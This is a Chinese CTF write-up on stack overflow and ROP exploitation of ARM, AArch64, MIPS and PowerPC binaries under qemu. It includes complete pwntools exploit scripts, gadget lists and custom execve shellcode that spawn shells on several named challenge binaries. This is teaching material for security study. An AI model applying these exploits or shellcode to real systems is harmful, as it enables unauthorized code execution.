利用

对于异构的rop与x86下其实并没有多大差异

注意

CTF比赛中,绝大多数异架构的题都是在qemu模拟出的环境中跑的

qemu有些不太安全的特性,比如它没有地址的随机化也没有NX保护,即使题目所给的二进制文件开了NXPIE保护,也只是对真机环境奏效,而在qemu中跑的时候,仍然相当于没有这些保护

也就是说,qemu中所有地址都是有可执行权限的(包括堆栈,甚至bss段等),然后libc_baseelf_base每次跑都是固定的,当然这个固定是指在同一个环境下,本地跑和远程跑的这个固定值极有可能不相同,因此有时候打远程仍需泄露libc_base这些信息(当然也可以选择爆破,一般和本地也就差一两位的样子)。

不过在比较新的版本qemu似乎支持这些保护,也就导致之前的任意shellcode失效

arm

利用

异构pwn主要也是rop利用,利用手法和x86并无多大差异

和x86比较不同的是函数调用的指令:

  • x86采用call和ret完成函数调用,原理是把返回地址压栈
  • 而arm采用b系列指令完成跳转,pop pc的方式回到父函数调用处
  • b系列指令中的bl指令把返回地址存到了lr寄存器中,函数返回时把原来的lr寄存器的值弄到pc里
  • 所以其实换汤不换药,x86和arm的思路都是差不多,只不过arm多了个lr寄存器,在叶子函数里省的把返回地址压栈了

注意

CTF比赛中,绝大多数ARM架构的题都是在qemu模拟出的环境中跑的

qemu有些不太安全的特性,比如它没有地址的随机化也没有NX保护,即使题目所给的二进制文件开了NXPIE保护,也只是对真机环境奏效,而在qemu中跑的时候,仍然相当于没有这些保护

也就是说,qemu中所有地址都是有可执行权限的(包括堆栈,甚至bss段等),然后libc_baseelf_base每次跑都是固定的,当然这个固定是指在同一个环境下,本地跑和远程跑的这个固定值极有可能不相同,因此有时候打远程仍需泄露libc_base这些信息(当然也可以选择爆破,一般和本地也就差一两位的样子)。

例题

jarvisoj - typo

checksec

1
2
3
4
5
6
7
8
9
aichch@sword-shield:~/桌面/pwn$ checksec typo
[*] '/home/aichch/pwn/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
aichch@sword-shield:~/桌面/pwn$ file ./typo
./typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

未开启canary和pie

又因为是静态链接,所以完全可以在程序中寻找system(‘/bin/sh’)

程序去除了符号表,要想读明白伪代码并不容易

对于复杂一些的题目,可能需要利用bindiff之类的工具来恢复符号表

qemu-arm-statically -g 1234 ./typo启动程序

在按下回车键后,程序会读入

1
2
3
4
5
6
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

------Begin------
sulphur

猜测有溢出,用pwntools验证

1
2
3
4
5
from pwn import*
context.binary='./typo'
p=process(['qemu-arm-static','-g','1235','./typo'])
p.sendline()
p.send(cyclic(200))

程序果然崩溃,并得出偏移112

1
2
3
4
5
6
7
8
Invalid address 0x62616164

► f 0 0x62616164
────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x62616164
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112
pwndbg>

之后就是构造rop,首先要找到system和/bin/sh字符串

/bin/sh字符串好找,但system函数因为去除符号表就有些难找了,不过我们能够利用/bin/sh字符串是被system调用的,来找到system

1
2
3
.rodata:0006C384 2F                            unk_6C384 DCB 0x2F ; /                  ; DATA XREF: sub_10BA8+468↑o
.rodata:0006C384 ; .text:off_110AC↑o
.rodata:0006C385 62 69 6E 2F 73 68 00 aBinSh DCB "bin/sh",0

有时可能不会显示这个,应该是程序还没加载完,等待一会并重新进入刷新就会有了

得到system函数地址10ba8

接下来就是找gadget了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
ropper -f ./typo --search 'pop' --quality 1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop

[INFO] File: ./typo
0x00008d1c: pop {fp, pc};
0x0001dba4: pop {lr}; bx r3;
0x00008420: pop {pc};
0x00053078: pop {r0, r1, r2, r3, r4, lr}; bx ip;
0x00020904: pop {r0, r4, pc};
0x00068bec: pop {r1, pc};
0x00068bd8: pop {r2, r3}; bx lr;
0x00053d10: pop {r3, lr}; bx r3;
0x00008160: pop {r3, pc};
0x0000ab0c: pop {r3, r4, r5, pc};
0x0000a958: pop {r3, r4, r5, r6, r7, pc};
0x00008a3c: pop {r3, r4, r5, r6, r7, r8, fp, pc};
0x0000a678: pop {r3, r4, r5, r6, r7, r8, sb, pc};
0x00008520: pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc};
0x00019664: pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}; blx r3;
0x00068c68: pop {r3, r4, r5, r6, r7, r8, sl, pc};
0x00014a70: pop {r3, r4, r7, pc};
0x00008de8: pop {r4, fp, pc};
0x00053004: pop {r4, lr}; bx r3;
0x000083b0: pop {r4, pc};
0x00008eec: pop {r4, r5, fp, pc};
0x00009284: pop {r4, r5, pc};
0x000242e0: pop {r4, r5, r6, fp, pc};
0x000095b8: pop {r4, r5, r6, pc};
0x000212ec: pop {r4, r5, r6, r7, fp, pc};
0x000082e8: pop {r4, r5, r6, r7, pc};
0x00043110: pop {r4, r5, r6, r7, r8, fp, pc};
0x0001d4e0: pop {r4, r5, r6, r7, r8, lr}; bx r3;
0x00011648: pop {r4, r5, r6, r7, r8, pc};
0x00048e9c: pop {r4, r5, r6, r7, r8, sb, fp, pc};
0x000502e4: pop {r4, r5, r6, r7, r8, sb, lr}; bx ip;
0x0000a5a0: pop {r4, r5, r6, r7, r8, sb, pc};
0x0001ddfc: pop {r4, r5, r6, r7, r8, sb, sl, fp, lr}; bx r3;
0x00033164: pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};
0x0005db14: pop {r4, r5, r6, r7, r8, sb, sl, lr}; bx r3;
0x00011c24: pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x000553cc: pop {r4, r5, r6, r7, r8, sl, pc};
0x00055424: pop {r4, r5, r6, r7}; bx lr;
0x00023ed4: pop {r4, r5, r7, pc};
0x00068728: pop {r4, r5}; bx lr;
0x00023dbc: pop {r4, r7, pc};
0x00014068: pop {r7, pc};
0x00048300: pop {r7}; bx lr;
0x00008c58: popeq {r3, pc}; blx r2;
0x00008c18: popeq {r3, pc}; blx r3;

我们选择这一条0x00020904: pop {r0, r4, pc};

于是exp:

1
2
3
4
5
6
7
8
9
10
11
#coding:utf-8
from pwn import *
p=process(['qemu-arm-static','./typo'])
p.sendline()
offset=112
pop_r0_r4_pc_addr=0x00020904
bin_sh_addr=0x0006c384
sys_addr=0x00010BA8
payload=offset*'a'+p32(pop_r0_r4_pc_addr)+p32(bin_sh_addr)+p32(0)+p32(sys_addr)
p.send(payload)
p.interactive()

2018 上海市大学生网络安全大赛 - baby_arm

首先看一下,文件相关信息

1
2
3
4
5
6
7
arm: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
[*] '/home/aichch/pwn/arm'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

动态链接,没开pie和canary

ida静态分析一下

程序很简单,首先是向bss段读取0x200的字符,然后再向栈中变量读入0x200字符,显然存在栈溢出

不过可以发现,第二个read也并不能修改当前函数的返回地址,因为它的读入地址要比返回地址更高

发现程序中有调用 mprotect 的代码段

因此可以有如下思路:

  1. 第一次输入 name 时,在 bss 段写上 shellcode
  2. 通过 rop 调用 mprotect 改变 bss 的权限
  3. 返回到 bss 上的 shellcode

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding:utf-8
from pwn import *
context.binary='./arm'
p=process(['qemu-aarch64', '-L', '/usr/aarch64-linux-gnu', './arm'])
e=ELF('./arm')
mprotect_plt=e.plt['mprotect']
mprotect_got=e.got['mprotect']
offset=0x48
bss_addr=0x411068
csu1=0x4008CC
csu2=0x4008AC

shellcode=asm(shellcraft.aarch64.sh())
payload1=shellcode
p.sendlineafter(b'Name:',payload1)


payload2=offset*b'a'+p64(csu1)
payload2+=p64(0)+p64(csu2) #x29 x30
payload2+=p64(0)+p64(1) #x19 x20
payload2+=p64(mprotect_got)+p64(7)#x21 x22 分别赋值给了x3 x2
payload2+=p64(0x1000)+p64(0x411000)#x23 x24 分别赋值给了x1 w0
payload2+=p64(0)+p64(bss_addr)#x29 x30
payload2+=p64(0)+p64(0)#x19 x20
payload2+=p64(0)+p64(0)#x21 x22
payload2+=p64(0)+p64(0)#x23 x24

p.sendline(payload2)
p.interactive()

以上是常规做法

但如果能够确定程序是在qemu中运行的,那么程序就没有nx保护,任意地址可执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding:utf-8
from pwn import *
context.binary='baby_arm'
p=process(['qemu-aarch64', '-L', '/usr/aarch64-linux-gnu', 'baby_arm'])
e=ELF('baby_arm')
mprotect_plt=e.plt['mprotect']
mprotect_got=e.got['mprotect']
offset=0x48
bss_addr=0x411068
csu1=0x4008CC
csu2=0x4008AC

shellcode=asm(shellcraft.aarch64.sh())
payload1=shellcode
p.sendlineafter(b'Name:',payload1)


payload2=offset*b'a'+p64(bss_addr)

p.sendline(payload2)
p.interactive()

ret2csu

通常,在调用了 libc.so 的程序中,都会用到 __libc_csu_init() 这个函数来对libc进行初始化

在init中可以找到它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000004008AC
.text:00000000004008AC loc_4008AC ; CODE XREF: init+60↓j
.text:00000000004008AC A3 7A 73 F8 LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 E2 03 16 AA MOV X2, X22
.text:00000000004008B4 E1 03 17 AA MOV X1, X23
.text:00000000004008B8 E0 03 18 2A MOV W0, W24
.text:00000000004008BC 73 06 00 91 ADD X19, X19, #1
.text:00000000004008C0 60 00 3F D6 BLR X3
.text:00000000004008C0
.text:00000000004008C4 7F 02 14 EB CMP X19, X20
.text:00000000004008C8 21 FF FF 54 B.NE loc_4008AC
.text:00000000004008C8
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: init+3C↑j
.text:00000000004008CC F3 53 41 A9 LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 F5 5B 42 A9 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 F7 63 43 A9 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 FD 7B C4 A8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC C0 03 5F D6 RET

先分析下面的loc_4008cc的内容

1
2
3
4
5
LDP             X19, X20, [SP,#var_s10]
LDP X21, X22, [SP,#var_s20]
LDP X23, X24, [SP,#var_s30]
LDP X29, X30, [SP+var_s0],#0x40
RET

第一句这个LDP X19, X20, [SP,#var_s10]就是说将SP+0x10所指向的内容给x19和x20寄存器(x19寄存器拿的是SP+0x10所指向的内容,而x20寄存器拿的是SP+0x18所指向的内容)

然后第四句这个LDP X29, X30, [SP+var_s0],#0x40的意思是将SP所指向的内容给x29和x30寄存器(x29寄存器拿的是SP所指向的内容,而x30寄存器拿的是SP+0x8所指向的内容),完成这句指令之后,再将SP指针增加0x40个字节。

然后ret,这个就是返回到x30寄存器所存储的值。

再结合着刚刚分析的内容,来看一下loc_4008ac的内容。

1
2
3
4
5
6
7
8
LDR             X3, [X21,X19,LSL#3]
MOV X2, X22
MOV X1, X23
MOV W0, W24
ADD X19, X19, #1
BLR X3
CMP X19, X20
B.NE loc_4008AC

第一句就是说将x19的值逻辑左移3位,然后加上x21的值,将得到的这个值所指向内容给x3寄存器。(如果我们控制x19的值为0的话,就是说把x21寄存器的值所指向的内容给x3寄存器。

然后剩下的mov,add就没什么好说的了。

倒数第三行BLR指令是去跳转到X3寄存器的值,同时把下一个指令的地址存到x30里面。

然后下面的CMP和x86里面的一样了。

如此思路就出来了,几乎是跟ret2csu的利用方法一样。有两点需要注意一下。

第一点就是loc_4008cc中的

LDP X29, X30, [SP+var_s0],#0x40 这个指令,虽然它是在这个loc_4008cc函数的最后,但是它传给x29和x30寄存器的时候,拿的是栈顶的值。因此布置栈中数据的时候,栈顶的内容应该是存放的x29和x30的值。

第二点,是BLR X3的时候,这个X3的值溯源一下,它是由X21充当指针来指向的,而X21的值又是SP+0x20充当指针来指向的。意思就是说,最终跳转的目标是x21指向的指针

inctf2018_wARMup

文件信息

1
2
3
4
5
6
7
8
9
aichch@sword-shield:~/桌面/pwn$ checksec ./wARMup
[*] '/home/aichch/pwn/wARMup'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
aichch@sword-shield:~/桌面/pwn$ file ./wARMup
./wARMup: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=fbe5794e95d6ea5006ea3137c0120ed945acae17, not stripped

32位动态链接

这题主要就是利用由qemu运行的arm程序,尽管程序开启了nx

但实际运行时依然是任意地址可执行

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[104]; // [sp+4h] [bp-68h] BYREF

setvbuf((FILE *)_bss_start, 0, 2, 0);
puts("Welcome to bi0s CTF!");
read(0, buf, 0x78u);
return 0;
}

read调用时

1
2
3
4
.text:00010530 78 20 A0 E3                   MOV     R2, #0x78 ; 'x'                 ; nbytes
.text:00010534 03 10 A0 E1 MOV R1, R3 ; buf
.text:00010538 00 00 A0 E3 MOV R0, #0 ; fd
.text:0001053C 8E FF FF EB BL read

由R3决定第二个参数,恰好程序中存在这样一条gadget

1
.fini:000105C0 08 80 BD E8                   POP     {R3,PC}  

于是我们可以直接在bss段上写shellcode并执行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
context.binary='./wARMup'
#p=process(['qemu-arm','-g','1234','-L','/usr/arm-linux-gnueabihf','./wARMup'])
p=process(['qemu-arm','-L','/usr/arm-linux-gnueabihf','./wARMup'])

read=0x10530
bss=0x21034
pop_r3_pc=0x10364

payload=b'a'*100+p32(bss+4)

payload+=p32(pop_r3_pc)+p32(bss)+p32(read)

p.send(payload)

p.send(p32(bss)+p32(bss+8)+asm(shellcraft.sh()))

p.interactive()

这里有一个比较奇怪的点是,如果在调试模式下read的第二参数必须是bss+4才能正常写入到bss处起始

但直接执行模式下,又必须是bss

MIPS

利用

mips下的利用需要注意几点

  1. MIPS32 架构中是没有 EBP 寄存器的,程序函数调用的时候是将当前栈指针向下移动 n 比特到该函数的 stack frame 存储组空间,函数返回的时候再加上偏移量恢复栈
  2. 传参过程中,前四个参数a0−a3,多余的会保存在调用函数的预留的栈顶空间内
  3. MIPS 调用函数时会把函数的返回地址直接存入 $RA 寄存器
  4. MIPS的特殊性,在函数体中$fp$sp是相同的,即都指向栈顶
  5. 由于mips的特殊性,在ROP过程中非常容易搞出来类似在x86上的jmp esp的指令
  6. mips本身不支持NX,与arm是因为qemu的关系不同
  7. mips跳转到完整函数,一定要使用$t9寄存器

最后两条使得ret2shellcode是十分有效的攻击方式

例题

HWS入营赛题mplogin

checksec没有任何保护机制

1
2
3
4
5
6
7
[*] '/home/aichch/pwn/Mplogin/Mplogin'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

在sub_400840函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
int sub_400840()
{
char v1[24]; // [sp+18h] [+18h] BYREF

memset(v1, 0, sizeof(v1));
printf("\x1B[34m");
printf("Username : ");
read(0, v1, 24);
if ( strncmp(v1, "admin", 5) )
exit(0);
printf("Correct name : %s", v1);
return strlen(v1);
}

如果v1的长度填满的话那么%s就会把后面的栈地址一起打印出来

此时就可以泄露栈了

然后在sub_400978函数中

存在溢出,覆盖返回地址为栈,ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
rom pwn import*

context.binary='./Mplogin'
#p=process(['qemu-mipsel','-g','1234','-L','/home/aichch/pwn/Mplogin','./Mplogin'])

p=process(['qemu-mipsel','-L','/home/aichch/pwn/Mplogin','./Mplogin'])

context.log_level='debug'

p.sendafter(b'Username : ',b'admin'+b'a'*19)

p.recvuntil(b'a'*19)

stack=u32(p.recv(4))

shellcode=asm(shellcraft.sh())

p.sendafter(b"Pre_Password : ",b"access".ljust(0x14,b"2")+p32(0x100))
p.sendafter(b"Password : ",b"0123456789".ljust(0x28,b"2")+p32(stack)+asm(shellcraft.sh()))
p.interactive()

HWS结营赛题pwn

1
2
3
4
5
6
7
8
9
➜  file pwn
pwn: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e0782ebdf0d70b808dba4b10c6866faeae35c620, not stripped
➜ checksec pwn
Arch: mips-32-big
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

MIPS大端,静态链接

因为这里没有地方泄露栈的地址,所以只能使用ROP来构造类似jmp esp的指令

在0x004273C4处有一条gadget

addiu $a2,$sp,0x64; jalr $s0

这个gadget会将$sp寄存器的值加上0x64放到$a2寄存器中,然后跳转到$s0寄存器中的地址去执行。那么如果我们能控制$s0寄存器的值指向一个跳转$a2的gadget,然后在$sp+0x64栈地址上布置shellcode即可利用成功。于是我们需要完成以下操作:

  1. 找到能跳转到$a2的gadget
  2. 控制$s0寄存器到如上gadget
  3. $sp+0x64的栈地址上布置shellcode

可以找到:

Address Action Control Jump
0x00421684 move $t9,$a2 jr $a2

现在还需要解决一个问题,如何控制$s0?

这个在前文的MIPS基础知识中提到过,在MIPS的复杂函数的序言和尾声中,会保存和恢复s组寄存器,我们可以下pwn()函数尾声的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:00400A2C                 move    $sp, $fp
.text:00400A30 lw $ra, 0x7C($sp)
.text:00400A34 lw $fp, 0x78($sp)
.text:00400A38 lw $s7, 0x74($sp)
.text:00400A3C lw $s6, 0x70($sp)
.text:00400A40 lw $s5, 0x6C($sp)
.text:00400A44 lw $s4, 0x68($sp)
.text:00400A48 lw $s3, 0x64($sp)
.text:00400A4C lw $s2, 0x60($sp)
.text:00400A50 lw $s1, 0x5C($sp)
.text:00400A54 lw $s0, 0x58($sp)
.text:00400A58 addiu $sp, 0x80
.text:00400A5C jr $ra
.text:00400A60 nop

故我们之前溢出时,在0x90控制了$ra,则我们在0x90-0x7c+0x58=0x6c处,即可控制$s0

布置shellcode

因为在函数的尾声处会把栈空间收回:

1
.text:00400A58                 addiu   $sp, 0x80

故我们控制栈地址到$s2寄存器的值也是回收之后的栈空间,故这个栈空间就是溢出返回地址之后的栈空间,故我们的gadget是$sp+0x64,直接在溢出点后的0x64位置处拼接shellcode即可,故完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='mips',endian='big',log_level='debug')
io = process(["qemu-mips","./pwn"])
io.sendlineafter("number:","1")

ra = 0x004273C4 # move sp+0x64 to a2 -> jmp s0
s0 = 0x00421684 # jmp a2

payload = '1:'
payload += 'a'*0x6c + p32(s0) + 'a'*0x20 + p32(ra)
payload += 'a'*0x64 + asm(shellcraft.sh())
io.sendlineafter("Job.'",payload)
io.interactive()

PowerPC

例题

UTCTF2019 PPC

查看基本信息,发现程序是静态编译且没有任何保护机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // r4
int i; // [sp+60h] [-20h]
int v5; // [sp+64h] [-1Ch]

welcome_0();
get_input_0();
v5 = strlen_0(buf_0);
for ( i = 0; i < v5; ++i )
buf_0[i] ^= 0xCBu;
printf_0("%d\n", v5);
encrypt_0((char *)v5, v3);
puts_0("Exiting..");
exit_0(1);
}

get_input向bss段上的全局变量buf读取1000个字节

前面都没有漏洞点,但在encrypt函数中

1
2
3
4
5
6
7
8
9
10
11
12
void encrypt_0(char *block, int edflag)
{
_DWORD v2[2]; // [sp+60h] [-90h] BYREF
_DWORD v3[32]; // [sp+68h] [-88h] BYREF

v3[26] = (_DWORD)block;
memcpy_0(v3, buf_0, 0x3E8uLL);
printf_0("Here's your string: ");
for ( v2[0] = 0; v2[0] <= 49; ++v2[0] )
printf_0("%x ", *((unsigned __int8 *)&v2[2] + v2[0]));
putchar_0('\n');
}

从buf处赋值内存到栈上上,显然发生溢出

因为没有开启nx,因此直接在buf上写入shellcode,查找溢出长度后直接返回到buf处

另外为了绕过异或检测,可以shellcode之前填上几个’\0’截断strlen函数

由于ppc结构没有类似push,pop的操作,所有栈都是由编译器直接指定,所以没办法直接生成getshell的shellcode,需要自己写

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'DEBUG'
target = 'ppc'
p = process('./'+target)

shellcode = asm("""
xor 3,3,3
lis 3, 0x100d
addi 3, 3, 0x2b64
xor 4,4,4
xor 5,5,5
li 0, 11
sc
.long 0x6e69622f
.long 0x68732f
""")

rop = p64(0) + shellcode
rop = rop.ljust(152,'A')
rop += p64(0x100D2B40+8)

p.sendlineafter('string\n',rop)
p.interactive()

2021hws-ppppppc

1
2
3
4
5
6
7
[*] '/home/aichch/pwn/PPPPPPC'
Arch: powerpc-32-big
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000000)
RWX: Has RWX segments

静态编译无任何保护

去除了符号表,不过可以根据字符串查找到main函数

1
2
3
4
5
6
7
8
9
10
11
12
int sub_10000464()
{
_BYTE v1[308]; // [sp+8h] [-138h] BYREF

sub_100003FC();
sub_100095B0("Hello, welcome to hws!");
sub_100082D0("Tell me your name: ");
sub_10008F40(v1, 800, off_100A0E00);
sub_1001B9B0(&unk_100B3390, v1);
sub_100095B0("bye~");
return 0;
}

发现就是就是栈溢出漏洞

远程环境一定是qemu,直接ret2shellcode,搜索内存发现两段内存里存着发过去的数据,注意要用栈上的shellcode,拷贝到数据段的shellcode会被截断。

当内存错误时,会打印当前状态,其中包含栈信息,由于是qemu,所以每次不变,故泄露一次,下一次攻击用即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import sys

context.log_level = 'debug'
context.endian = 'big'
context.arch='powerpc'


elf = ELF('./PPPPPPC')

r=process(["./qemu-ppc-static","./PPPPPPC"])


r.recvuntil("Tell me your name: ")

sc = asm('''
xor 3, 3, 3
xor 4, 4, 4
xor 5, 5, 5
li 0, 11
mflr r3
addi r3, r3, 7*4
sc
.long 0x2f62696e
.long 0x2f736800
''')
r.sendline(sc.ljust(0x13c, b'\x00')+p32(0xf6ffeea0))
# 0xf6ffed38

r.interactive()

risc-v